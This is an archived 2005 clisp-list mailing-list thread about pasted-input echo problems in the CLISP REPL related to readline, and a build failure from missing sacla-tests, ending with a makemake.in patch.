X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to https://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 SF_CHICKENPOX_MINUS BODY: Text interparsed with - 0.0 SF_CHICKENPOX_PERIOD BODY: Text interparsed with . X-Spam-Score: -0.1 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 -0.1 AWL AWL: From: address is in the auto white-list Subject: [clisp-list] Re: bug with pasting forms into clisp Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Thu Jul 21 09:16:49 2005 X-Original-Date: Thu, 21 Jul 2005 12:14:11 -0400 can it be a readline bug? please try to build clisp without readline: $ ./configure --build build-nore --without-readline -- Sam Steingold (http://www.podval.org/~sds) running w2k There is an exception to every rule, including this one. From mkb@incubus.de Thu Jul 21 10:08:43 2005 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1DveXL-0003xY-Qv for clisp-list@lists.sourceforge.net; Thu, 21 Jul 2005 10:08:43 -0700 Received: from incubus.de ([80.237.207.83] helo=luzifer.incubus.de ident=postfix) by mail.sourceforge.net with esmtps (TLSv1:AES256-SHA:256) (Exim 4.44) id 1DveXL-0007Mo-Br for clisp-list@lists.sourceforge.net; Thu, 21 Jul 2005 10:08:43 -0700 Received: from drjekyll.mkbuelow.net (p54AAB49A.dip0.t-ipconnect.de [84.170.180.154]) (using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits)) (No client certificate requested) by luzifer.incubus.de (Postfix) with ESMTP id 9B24E2E058; Thu, 21 Jul 2005 19:11:33 +0200 (CEST) Received: from drjekyll.mkbuelow.net (mkb@localhost.mkbuelow.net [127.0.0.1]) by drjekyll.mkbuelow.net (8.13.3/8.13.3) with ESMTP id j6LH8luo017506; Thu, 21 Jul 2005 19:08:48 +0200 (CEST) (envelope-from mkb@drjekyll.mkbuelow.net) Message-Id: <200507211708.j6LH8luo017506@drjekyll.mkbuelow.net> From: Matthias Buelow To: clisp-list@lists.sourceforge.net, Matthias Buelow Subject: Re: [clisp-list] Re: bug with pasting forms into clisp In-Reply-To: Message from Sam Steingold of "Thu, 21 Jul 2005 12:14:11 EDT." X-Mailer: MH-E 7.84; nmh 1.0.4; XEmacs 21.4 (patch 17) X-Spam-Score: 1.0 (+) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 1.0 FORGED_RCVD_HELO Received: contains a forged HELO Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Thu Jul 21 10:10:33 2005 X-Original-Date: Thu, 21 Jul 2005 19:08:47 +0200 Sam Steingold writes: >can it be a readline bug? >please try to build clisp without readline: >$ ./configure --build build-nore --without-readline Hmm.. no: [1]> (defparameter *a* 1) (defparameter *b* 2) (defparameter *c* 3) (defparameter *d* 4) (defparameter *e* 5) (defparameter *f* 6) *A* [2]> *C* [3]> *D* [4]> *E* [5]> *F* [6]> *b* *** - EVAL: variable *B* has no value The following restarts are available: STORE-VALUE :R1 You may input a new value for *B*. USE-VALUE :R2 You may input a value to be used instead of *B*. I've built the freshly released 2.34 and the problem does _not_ show up there, although things are echoed multiple times in a weird way (this time, with readline): [1]> (defparameter *a* 1) *A*(defparameter *b* 2) (defparameter *c* 3) (defparameter *d* 4) (defparameter *e* 5) (defparameter *f* 6) [2]> (defparameter *b* 2) *B*(defparameter *c* 3) (defparameter *d* 4) (defparameter *e* 5) (defparameter *f* 6) [3]> (defparameter *c* 3) *C*(defparameter *d* 4) (defparameter *e* 5) (defparameter *f* 6) [4]> (defparameter *d* 4) *D*(defparameter *e* 5) (defparameter *f* 6) [5]> (defparameter *e* 5) *E*(defparameter *f* 6) [6]> (defparameter *f* 6) *F* BTW., how do I tell the build process to not use -O2 (or other settings) for compiler flags? I want to build it all with -O0 to rule out a gcc optimizer bug. If I use ... CFLAGS=-O0 ./configure ..., it does use -O0 for some files but reverts to -O2 for others. mkb. From sds@gnu.org Thu Jul 21 10:54:29 2005 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1DvfFc-00060c-Ny for clisp-list@lists.sourceforge.net; Thu, 21 Jul 2005 10:54:28 -0700 Received: from fw-ext.alphatech.com ([198.112.236.6] helo=alphatech.com) by mail.sourceforge.net with esmtp (Exim 4.44) id 1DvfF9-0000Te-Av for clisp-list@lists.sourceforge.net; Thu, 21 Jul 2005 10:54:28 -0700 Received: from WINSTEINGOLDLAP (winsteingoldlap.ad.alphatech.com [10.41.52.183]) by alphatech.com (8.12.11/8.12.11) with ESMTP id j6LHri4Q004952; Thu, 21 Jul 2005 13:53:44 -0400 (EDT) To: clisp-list@lists.sourceforge.net, Matthias Buelow Mail-Copies-To: never Reply-to: clisp-list@lists.sourceforge.net X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. From: Sam Steingold In-Reply-To: <200507211708.j6LH8luo017506@drjekyll.mkbuelow.net> (Matthias Buelow's message of "Thu, 21 Jul 2005 19:08:47 +0200") References: <200507211708.j6LH8luo017506@drjekyll.mkbuelow.net> Mail-Followup-To: clisp-list@lists.sourceforge.net, Matthias Buelow Message-ID: User-Agent: Gnus/5.11 (Gnus v5.11) Emacs/22.0.50 (windows-nt) MIME-Version: 1.0 Content-Type: text/plain X-Spam-Score: -0.1 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 -0.1 AWL AWL: From: address is in the auto white-list Subject: [clisp-list] Re: bug with pasting forms into clisp Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Thu Jul 21 10:55:43 2005 X-Original-Date: Thu, 21 Jul 2005 13:53:06 -0400 > * Matthias Buelow [2005-07-21 19:08:47 +0200]: > > BTW., how do I tell the build process to not use -O2 (or other > settings) for compiler flags? I want to build it all with -O0 to rule > out a gcc optimizer bug. If I use ... CFLAGS=-O0 ./configure ..., it > does use -O0 for some files but reverts to -O2 for others. you can also just edit the Makefile. -- Sam Steingold (http://www.podval.org/~sds) running w2k When we write programs that "learn", it turns out we do and they don't. From mkb@incubus.de Thu Jul 21 14:08:29 2005 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1DviHN-0006vT-II for clisp-list@lists.sourceforge.net; Thu, 21 Jul 2005 14:08:29 -0700 Received: from incubus.de ([80.237.207.83] helo=luzifer.incubus.de ident=postfix) by mail.sourceforge.net with esmtps (TLSv1:AES256-SHA:256) (Exim 4.44) id 1DviHL-0005CF-V3 for clisp-list@lists.sourceforge.net; Thu, 21 Jul 2005 14:08:29 -0700 Received: from drjekyll.mkbuelow.net (p54AAB49A.dip0.t-ipconnect.de [84.170.180.154]) (using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits)) (No client certificate requested) by luzifer.incubus.de (Postfix) with ESMTP id 2F0D930A9A for ; Thu, 21 Jul 2005 23:11:16 +0200 (CEST) Received: from drjekyll.mkbuelow.net (mkb@localhost.mkbuelow.net [127.0.0.1]) by drjekyll.mkbuelow.net (8.13.3/8.13.3) with ESMTP id j6LL8Vbj086325 for ; Thu, 21 Jul 2005 23:08:31 +0200 (CEST) (envelope-from mkb@drjekyll.mkbuelow.net) Message-Id: <200507212108.j6LL8Vbj086325@drjekyll.mkbuelow.net> From: Matthias Buelow To: clisp-list@lists.sourceforge.net In-Reply-To: Message from Sam Steingold of "Thu, 21 Jul 2005 13:53:06 EDT." X-Mailer: MH-E 7.84; nmh 1.0.4; XEmacs 21.4 (patch 17) X-Spam-Score: 1.0 (+) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 1.0 FORGED_RCVD_HELO Received: contains a forged HELO 0.0 SF_CHICKENPOX_PERIOD BODY: Text interparsed with . 0.0 SF_CHICKENPOX_MINUS BODY: Text interparsed with - 0.0 SF_CHICKENPOX_APOSTROPHE BODY: Text interparsed with ' 0.0 AWL AWL: From: address is in the auto white-list Subject: [clisp-list] Re: bug with pasting forms into clisp Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Thu Jul 21 14:10:28 2005 X-Original-Date: Thu, 21 Jul 2005 23:08:31 +0200 Hmm, ok, it's also present with -O0, so it doesn't seem to be a compiler-bug. Since the bug doesn't seem to occur with the new version (2.34), I'll use that version and watch out if similar things creep up. What remains (on 2.34) is the weird multiple-echoing of the pasted input: [1]> (defparameter *a* 1) *A*(defparameter *b* 2) (defparameter *c* 3) (defparameter *d* 4) (defparameter *e* 5) (defparameter *f* 6) [2]> (defparameter *b* 2) *B*(defparameter *c* 3) (defparameter *d* 4) (defparameter *e* 5) (defparameter *f* 6) [3]> (defparameter *c* 3) *C*(defparameter *d* 4) (defparameter *e* 5) (defparameter *f* 6) [4]> (defparameter *d* 4) *D*(defparameter *e* 5) (defparameter *f* 6) [5]> (defparameter *e* 5) *E*(defparameter *f* 6) [6]> (defparameter *f* 6) *F* which is irritating but doesn't seem to have any effects otherwise. This seems to be something in relation to readline. When I build without readline, it looks normal: [1]> (defparameter *a* 1) (defparameter *b* 2) (defparameter *c* 3) (defparameter *d* 4) (defparameter *e* 5) (defparameter *f* 6) *A* [2]> *B* [3]> *C* [4]> *D* [5]> *E* [6]> *F* BTW., building 2.34 with ./configure --build aborts at the test stage: *** - LOAD: A file with name tests.lisp does not exist Bye. *** Error code 1 and the --without-readline option isn't documented in ./configure --help. mkb. From sds@gnu.org Thu Jul 21 17:03:57 2005 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1Dvl19-0006FK-5G for clisp-list@lists.sourceforge.net; Thu, 21 Jul 2005 17:03:55 -0700 Received: from fw-ext.alphatech.com ([198.112.236.6] helo=alphatech.com) by mail.sourceforge.net with esmtp (Exim 4.44) id 1Dvl15-0001nr-OG for clisp-list@lists.sourceforge.net; Thu, 21 Jul 2005 17:03:55 -0700 Received: from WINSTEINGOLDLAP (winsteingoldlap.ad.alphatech.com [10.41.52.183]) by alphatech.com (8.12.11/8.12.11) with ESMTP id j6M03faU011025; Thu, 21 Jul 2005 20:03:42 -0400 (EDT) To: clisp-list@lists.sourceforge.net, Matthias Buelow Mail-Copies-To: never Reply-to: clisp-list@lists.sourceforge.net X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. From: Sam Steingold In-Reply-To: <200507212108.j6LL8Vbj086325@drjekyll.mkbuelow.net> (Matthias Buelow's message of "Thu, 21 Jul 2005 23:08:31 +0200") References: <200507212108.j6LL8Vbj086325@drjekyll.mkbuelow.net> Mail-Followup-To: clisp-list@lists.sourceforge.net, Matthias Buelow Message-ID: User-Agent: Gnus/5.11 (Gnus v5.11) Emacs/22.0.50 (windows-nt) MIME-Version: 1.0 Content-Type: text/plain X-Spam-Score: -0.1 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 -0.1 AWL AWL: From: address is in the auto white-list Subject: [clisp-list] Re: bug with pasting forms into clisp Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Thu Jul 21 17:05:40 2005 X-Original-Date: Thu, 21 Jul 2005 20:02:58 -0400 > * Matthias Buelow [2005-07-21 23:08:31 +0200]: > > > This seems to be something in relation to readline. When I build without > readline, it looks normal: how about "clisp -I"? > BTW., building 2.34 with ./configure --build aborts at the test stage: > > *** - LOAD: A file with name tests.lisp does not exist > Bye. > *** Error code 1 not enough context to debug. > and the --without-readline option isn't documented in ./configure --help. thanks. -- Sam Steingold (http://www.podval.org/~sds) running w2k There are no answers, only cross references. From mkb@incubus.de Thu Jul 21 20:28:11 2005 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1DvoCj-00056q-J0 for clisp-list@lists.sourceforge.net; Thu, 21 Jul 2005 20:28:05 -0700 Received: from externalmx-1.sourceforge.net ([12.152.184.25]) by mail.sourceforge.net with esmtps (TLSv1:AES256-SHA:256) (Exim 4.44) id 1DvoCG-0005cf-HQ for clisp-list@lists.sourceforge.net; Thu, 21 Jul 2005 20:28:05 -0700 Received: from incubus.de ([80.237.207.83] helo=luzifer.incubus.de ident=postfix) by externalmx-1.sourceforge.net with esmtp (TLSv1:AES256-SHA:256) (Exim 4.41) id 1DvmQj-0002PU-Sb for clisp-list@lists.sourceforge.net; Thu, 21 Jul 2005 18:34:26 -0700 Received: from drjekyll.mkbuelow.net (p54AAB49A.dip0.t-ipconnect.de [84.170.180.154]) (using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits)) (No client certificate requested) by luzifer.incubus.de (Postfix) with ESMTP id 85C6730D6A for ; Fri, 22 Jul 2005 03:30:33 +0200 (CEST) Received: from drjekyll.mkbuelow.net (mkb@localhost.mkbuelow.net [127.0.0.1]) by drjekyll.mkbuelow.net (8.13.3/8.13.3) with ESMTP id j6M1Rmxb000213 for ; Fri, 22 Jul 2005 03:27:48 +0200 (CEST) (envelope-from mkb@drjekyll.mkbuelow.net) Message-Id: <200507220127.j6M1Rmxb000213@drjekyll.mkbuelow.net> From: Matthias Buelow To: clisp-list@lists.sourceforge.net In-Reply-To: Message from Sam Steingold of "Thu, 21 Jul 2005 20:02:58 EDT." X-Mailer: MH-E 7.84; nmh 1.0.4; XEmacs 21.4 (patch 17) X-Spam-Score: 0.1 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to https://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 SF_CHICKENPOX_SLASH BODY: Text interparsed with / 0.0 SF_CHICKENPOX_MINUS BODY: Text interparsed with - 0.0 SF_CHICKENPOX_COLON BODY: Text interparsed with : 0.0 SF_CHICKENPOX_AT BODY: Text interparsed with @ 0.0 SF_CHICKENPOX_PERIOD BODY: Text interparsed with . X-Spam-Score: 1.1 (+) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 1.0 FORGED_RCVD_HELO Received: contains a forged HELO 0.0 SF_CHICKENPOX_PERIOD BODY: Text interparsed with . 0.0 SF_CHICKENPOX_SLASH BODY: Text interparsed with / 0.0 SF_CHICKENPOX_MINUS BODY: Text interparsed with - 0.0 SF_CHICKENPOX_COLON BODY: Text interparsed with : 0.0 SF_CHICKENPOX_AT BODY: Text interparsed with @ 0.0 AWL AWL: From: address is in the auto white-list Subject: [clisp-list] Re: bug with pasting forms into clisp Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Thu Jul 21 20:32:45 2005 X-Original-Date: Fri, 22 Jul 2005 03:27:48 +0200 Sam Steingold writes: >> * Matthias Buelow [2005-07-21 23:08:31 +0200]: >> >> >> This seems to be something in relation to readline. When I build without >> readline, it looks normal: > >how about "clisp -I"? Looks the same, with or without clisp -I. >> *** - LOAD: A file with name tests.lisp does not exist >> Bye. >> *** Error code 1 > >not enough context to debug. ... mkdir sacla-tests cd sacla-tests && ln -s ../../sacla-tests/*.lisp . cd sacla-tests && ../lisp.run -B .. -M ../lispinit.mem -N ../locale -Efile UTF-8 -Eterminal UTF-8 -norc -i tests.lisp -x '(ext:exit (> (nth-value 1 (run-all-tests)) 0))' i i i i i i i ooooo o ooooooo ooooo ooooo I I I I I I I 8 8 8 8 8 o 8 8 I \ `+' / I 8 8 8 8 8 8 \ `-+-' / 8 8 8 ooooo 8oooo `-__|__-' 8 8 8 8 8 | 8 o 8 8 o 8 8 ------+------ ooooo 8oooooo ooo8ooo ooooo 8 Copyright (c) Bruno Haible, Michael Stoll 1992, 1993 Copyright (c) Bruno Haible, Marcus Daniels 1994-1997 Copyright (c) Bruno Haible, Pierpaolo Bernardi, Sam Steingold 1998 Copyright (c) Bruno Haible, Sam Steingold 1999-2000 Copyright (c) Sam Steingold, Bruno Haible 2001-2005 *** - LOAD: A file with name tests.lisp does not exist Bye. *** Error code 1 Stop in /home/mkb/tmp/clisp-2.34/build-withrl. Exit 1 % ls -l build-withrl/sacla-tests/ total 0 lrwxr-xr-x 1 mkb mkb 24 Jul 22 03:20 *.lisp@ -> ../../sacla-tests/*.lisp % probably not quite what should be there. mkb. From sds@gnu.org Fri Jul 22 07:54:40 2005 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1Dvyv9-0000dM-W9 for clisp-list@lists.sourceforge.net; Fri, 22 Jul 2005 07:54:39 -0700 Received: from fw-ext.alphatech.com ([198.112.236.6] helo=alphatech.com) by mail.sourceforge.net with esmtp (Exim 4.44) id 1Dvyv8-0005rK-LV for clisp-list@lists.sourceforge.net; Fri, 22 Jul 2005 07:54:40 -0700 Received: from WINSTEINGOLDLAP (winsteingoldlap.ad.alphatech.com [10.41.52.183]) by alphatech.com (8.12.11/8.12.11) with ESMTP id j6MEsKx5002143; Fri, 22 Jul 2005 10:54:20 -0400 (EDT) To: clisp-list@lists.sourceforge.net, Matthias Buelow Mail-Copies-To: never Reply-to: clisp-list@lists.sourceforge.net X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. From: Sam Steingold In-Reply-To: <200507220127.j6M1Rmxb000213@drjekyll.mkbuelow.net> (Matthias Buelow's message of "Fri, 22 Jul 2005 03:27:48 +0200") References: <200507220127.j6M1Rmxb000213@drjekyll.mkbuelow.net> Mail-Followup-To: clisp-list@lists.sourceforge.net, Matthias Buelow Message-ID: User-Agent: Gnus/5.11 (Gnus v5.11) Emacs/22.0.50 (windows-nt) MIME-Version: 1.0 Content-Type: text/plain X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 SF_CHICKENPOX_PERIOD BODY: Text interparsed with . 0.0 SF_CHICKENPOX_SLASH BODY: Text interparsed with / 0.0 SF_CHICKENPOX_MINUS BODY: Text interparsed with - 0.0 SF_CHICKENPOX_COLON BODY: Text interparsed with : 0.0 SF_CHICKENPOX_UNDERSCORE BODY: Text interparsed with _ 0.0 SF_CHICKENPOX_EQUAL BODY: Text interparsed with = 0.0 SF_CHICKENPOX_AT BODY: Text interparsed with @ -0.1 AWL AWL: From: address is in the auto white-list Subject: [clisp-list] Re: bug with pasting forms into clisp Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Fri Jul 22 07:56:32 2005 X-Original-Date: Fri, 22 Jul 2005 10:53:37 -0400 > * Matthias Buelow [2005-07-22 03:27:48 +0200]: > >>> *** - LOAD: A file with name tests.lisp does not exist >>> Bye. >>> *** Error code 1 >> >>not enough context to debug. > > ... > mkdir sacla-tests > cd sacla-tests && ln -s ../../sacla-tests/*.lisp . > cd sacla-tests && ../lisp.run -B .. -M ../lispinit.mem -N ../locale -Efile UTF-8 -Eterminal UTF-8 -norc -i tests.lisp -x '(ext:exit (> (nth-value 1 (run-all-tests)) 0))' > > *** - LOAD: A file with name tests.lisp does not exist > Bye. > *** Error code 1 > > Stop in /home/mkb/tmp/clisp-2.34/build-withrl. > Exit 1 > > % ls -l build-withrl/sacla-tests/ > total 0 > lrwxr-xr-x 1 mkb mkb 24 Jul 22 03:20 *.lisp@ -> ../../sacla-tests/*.lisp > % > > probably not quite what should be there. indeed. the problem is in src/makemake.in: # on win32, LN_S=copy and it accepts exactly 2 arguments for f in '*.lisp'; do echotab "cd ${SACLATESTSDIR} && \$(LN_S) ${PARENT_SRCTOPDIR_}sacla-tests${NEXT_}${f} ." done echol can you figure out what will work with your shell? -- Sam Steingold (http://www.podval.org/~sds) running w2k If you try to fail, and succeed, which have you done? From mkb@incubus.de Fri Jul 22 13:23:23 2005 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1Dw43H-0000Ii-1U for clisp-list@lists.sourceforge.net; Fri, 22 Jul 2005 13:23:23 -0700 Received: from incubus.de ([80.237.207.83] helo=luzifer.incubus.de ident=postfix) by mail.sourceforge.net with esmtps (TLSv1:AES256-SHA:256) (Exim 4.44) id 1Dw43F-0005Z1-NR for clisp-list@lists.sourceforge.net; Fri, 22 Jul 2005 13:23:23 -0700 Received: from drjekyll.mkbuelow.net (p54AA8693.dip0.t-ipconnect.de [84.170.134.147]) (using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits)) (No client certificate requested) by luzifer.incubus.de (Postfix) with ESMTP id A2EF132F69 for ; Fri, 22 Jul 2005 22:26:10 +0200 (CEST) Received: from drjekyll.mkbuelow.net (mkb@localhost.mkbuelow.net [127.0.0.1]) by drjekyll.mkbuelow.net (8.13.3/8.13.3) with ESMTP id j6MKNRrp084911 for ; Fri, 22 Jul 2005 22:23:27 +0200 (CEST) (envelope-from mkb@drjekyll.mkbuelow.net) Message-Id: <200507222023.j6MKNRrp084911@drjekyll.mkbuelow.net> From: Matthias Buelow To: clisp-list@lists.sourceforge.net In-Reply-To: Message from Sam Steingold of "Fri, 22 Jul 2005 10:53:37 EDT." X-Mailer: MH-E 7.84; nmh 1.0.4; XEmacs 21.4 (patch 17) X-Spam-Score: 1.0 (+) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 1.0 FORGED_RCVD_HELO Received: contains a forged HELO Subject: [clisp-list] Re: bug with pasting forms into clisp Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Fri Jul 22 13:25:02 2005 X-Original-Date: Fri, 22 Jul 2005 22:23:27 +0200 In the generated Makefile (from makemake): sacla-tests : -mkdir sacla-tests cd sacla-tests && $(LN_S) ../../sacla-tests/*.lisp . where are the sacla-tests? Are the files generated during build? I don't have a directory sacla-tests: % find ~/tmp/clisp-2.34 -name \*sacla\* -print % mkb. From sds@gnu.org Fri Jul 22 13:38:18 2005 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1Dw4Hg-00012u-8J for clisp-list@lists.sourceforge.net; Fri, 22 Jul 2005 13:38:16 -0700 Received: from fw-ext.alphatech.com ([198.112.236.6] helo=alphatech.com) by mail.sourceforge.net with esmtp (Exim 4.44) id 1Dw4Hd-00078N-P8 for clisp-list@lists.sourceforge.net; Fri, 22 Jul 2005 13:38:16 -0700 Received: from WINSTEINGOLDLAP (winsteingoldlap.ad.alphatech.com [10.41.52.183]) by alphatech.com (8.12.11/8.12.11) with ESMTP id j6MKbvMj017839; Fri, 22 Jul 2005 16:37:58 -0400 (EDT) To: clisp-list@lists.sourceforge.net, Matthias Buelow Mail-Copies-To: never Reply-to: clisp-list@lists.sourceforge.net X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. From: Sam Steingold In-Reply-To: <200507222023.j6MKNRrp084911@drjekyll.mkbuelow.net> (Matthias Buelow's message of "Fri, 22 Jul 2005 22:23:27 +0200") References: <200507222023.j6MKNRrp084911@drjekyll.mkbuelow.net> Mail-Followup-To: clisp-list@lists.sourceforge.net, Matthias Buelow Message-ID: User-Agent: Gnus/5.11 (Gnus v5.11) Emacs/22.0.50 (windows-nt) MIME-Version: 1.0 Content-Type: text/plain X-Spam-Score: -0.1 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 -0.1 AWL AWL: From: address is in the auto white-list Subject: [clisp-list] Re: bug with pasting forms into clisp Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Fri Jul 22 13:39:59 2005 X-Original-Date: Fri, 22 Jul 2005 16:37:15 -0400 > * Matthias Buelow [2005-07-22 22:23:27 +0200]: > > In the generated Makefile (from makemake): > > sacla-tests : > -mkdir sacla-tests > cd sacla-tests && $(LN_S) ../../sacla-tests/*.lisp . > > where are the sacla-tests? Are the files generated during build? > I don't have a directory sacla-tests: > > % find ~/tmp/clisp-2.34 -name \*sacla\* -print > % ouch - sacla-tests are not included in the source distribution (only in the CVS tree). how about the appended patch? -- Sam Steingold (http://www.podval.org/~sds) running w2k When you talk to God, it's prayer; when He talks to you, it's schizophrenia. --- makemake.in 22 Jul 2005 11:50:28 -0400 1.584 +++ makemake.in 22 Jul 2005 16:33:07 -0400 @@ -3146,6 +3146,8 @@ done echol + # sacla-tests are not included in the source distribution + if test -d "${PARENT_SRCTOPDIR_}sacla-tests"; then SACLA_CLISP="../lisp${LEXE} -B .. -M ../lispinit.mem -N ../locale ${someflags} -i tests.lisp" echol "check-sacla-tests : ${SACLATESTSDIR} lisp${LEXE} lispinit.mem" echotab "cd ${SACLATESTSDIR} && ${SACLA_CLISP} -x '(ext:exit (> (nth-value 1 (run-all-tests)) 0))'" @@ -3157,7 +3159,10 @@ echotab "cd ${SACLATESTSDIR} && \$(LN_S) ${PARENT_SRCTOPDIR_}sacla-tests${NEXT_}${f} ." done echol + fi + # ansi-tests are not included in the source distribution + if test -d "${PARENT_SRCTOPDIR_}ansi-tests"; then ANSI_CLISP="../lisp${LEXE} -B .. -M ../lispinit.mem -N ../locale ${someflags} -m 30000KW -ansi -i clispload.lsp" echol "check-ansi-tests : ${ANSITESTSDIR} lisp${LEXE} lispinit.mem" echotab "cd ${ANSITESTSDIR} && ${ANSI_CLISP} -x '(in-package \"CL-TEST\") (time (regression-test:do-tests)) (ext:exit (regression-test:pending-tests))' 2>&1 | tee ../ansi-tests-log" @@ -3187,6 +3192,7 @@ done echotab "cd ${ANSITESTSDIR} && \$(LN_S) ${PARENT_SRCTOPDIR_}utils${NEXT_}clispload.lsp ." echol + fi # benchmarks are for developers only, and the developers work from the CVS if test -d ${SRCTOPDIR}CVS; then From sds@gnu.org Fri Jul 22 13:44:03 2005 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1Dw4NH-0001Gd-G7 for clisp-list@lists.sourceforge.net; Fri, 22 Jul 2005 13:44:03 -0700 Received: from fw-ext.alphatech.com ([198.112.236.6] helo=alphatech.com) by mail.sourceforge.net with esmtp (Exim 4.44) id 1Dw4NH-0001nh-20 for clisp-list@lists.sourceforge.net; Fri, 22 Jul 2005 13:44:03 -0700 Received: from WINSTEINGOLDLAP (winsteingoldlap.ad.alphatech.com [10.41.52.183]) by alphatech.com (8.12.11/8.12.11) with ESMTP id j6MKhrrC018402; Fri, 22 Jul 2005 16:43:53 -0400 (EDT) To: clisp-list@lists.sourceforge.net, Matthias Buelow Mail-Copies-To: never Reply-to: clisp-list@lists.sourceforge.net X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. From: Sam Steingold In-Reply-To: 